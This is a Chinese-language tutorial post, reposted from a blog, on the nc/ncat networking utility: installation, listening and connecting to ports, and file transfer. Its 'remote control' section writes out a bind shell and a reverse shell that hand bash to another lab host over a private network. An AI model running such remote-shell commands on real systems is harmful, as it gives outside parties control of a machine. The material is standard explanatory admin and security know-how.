nc命令简介
nc介紹
ncat/nc 既是一個端口掃描工具,也是一款安全工具,還能是一款監測工具,甚至可以做為一個簡單的 TCP 代理。
在大多數 Debian 發行版中,nc 是默認可用的,它會在安裝系統的過程中自動被安裝。 但是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 并不會默認被安裝。 需要用下列命令手工安裝。
yum install nmap-ncat -y監聽端口
使用-l選指定監聽端口,加上-v選項顯示詳細信息
連接端口
nc默認就是連接端口,-v顯示詳細信息,-u連接udp端口
查看系統開啟的udp端口
[root@host_1 ~]# netstat -unlp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:3139 0.0.0.0:* 691/dhclient udp 0 0 127.0.0.1:323 0.0.0.0:* 640/chronyd udp 0 0 0.0.0.0:68 0.0.0.0:* 691/dhclient udp6 0 0 :::45845 :::* 691/dhclient udp6 0 0 ::1:323 :::* 640/chronyd連接udp端口
[root@host_2 ~]# nc -vu 192.168.159.134 3139 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:3139.傳輸文件
在端口已連接的基礎上,可以進行文件傳輸。
- 主機1作為接受端打開端口
主機2上連接端口并傳輸文件
[root@host_2 ~]# nc -v 192.168.159.134 1234 < anaconda-ks.cfg Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:1234. Ncat: 1238 bytes sent, 0 bytes received in 0.03 seconds.
遠程控制
現有host_1 host_2兩臺主機,演示host_2控制Host_1
- 正向控制
host_1執行:
[root@host_1 testdir]# nc -l 1234 -c bashhost_2執行:
[root@host_2 ~]# nc -v 192.168.159.134 1234 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:1234. hostname host_1nc命令通過建立的連接將bash傳遞給對方。上面host_2連接成功后,執行hostname命令返回host_1主機名,表示已成功控制host_1
由于正向控制是在被控端開啟端口,所以若存在防火墻很有可能無法連接成功
- 反向連接
主機host_2監聽端口
[root@host_2 ~]# nc -l 1234
主機host_1連接端口并推送bash
[root@host_1 testdir]# nc -v 192.168.159.130 1234 -e $(which bash) Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.130:1234.
控制端主機開啟端口監聽,被控端主動連接端口并推送bash到控制端。
nc傳輸加密
由于nc使用明文進行傳輸數據,所以引入ncat命令。ncat命令使用--ssl選項表示開啟ssl管道加密傳輸。
轉載于:https://www.cnblogs.com/technologylife/p/9211296.html
總結
- 上一篇: 关于批量插入数据之我见(100万级别的数
- 下一篇: Flutter下拉刷新,上拉加载更多数据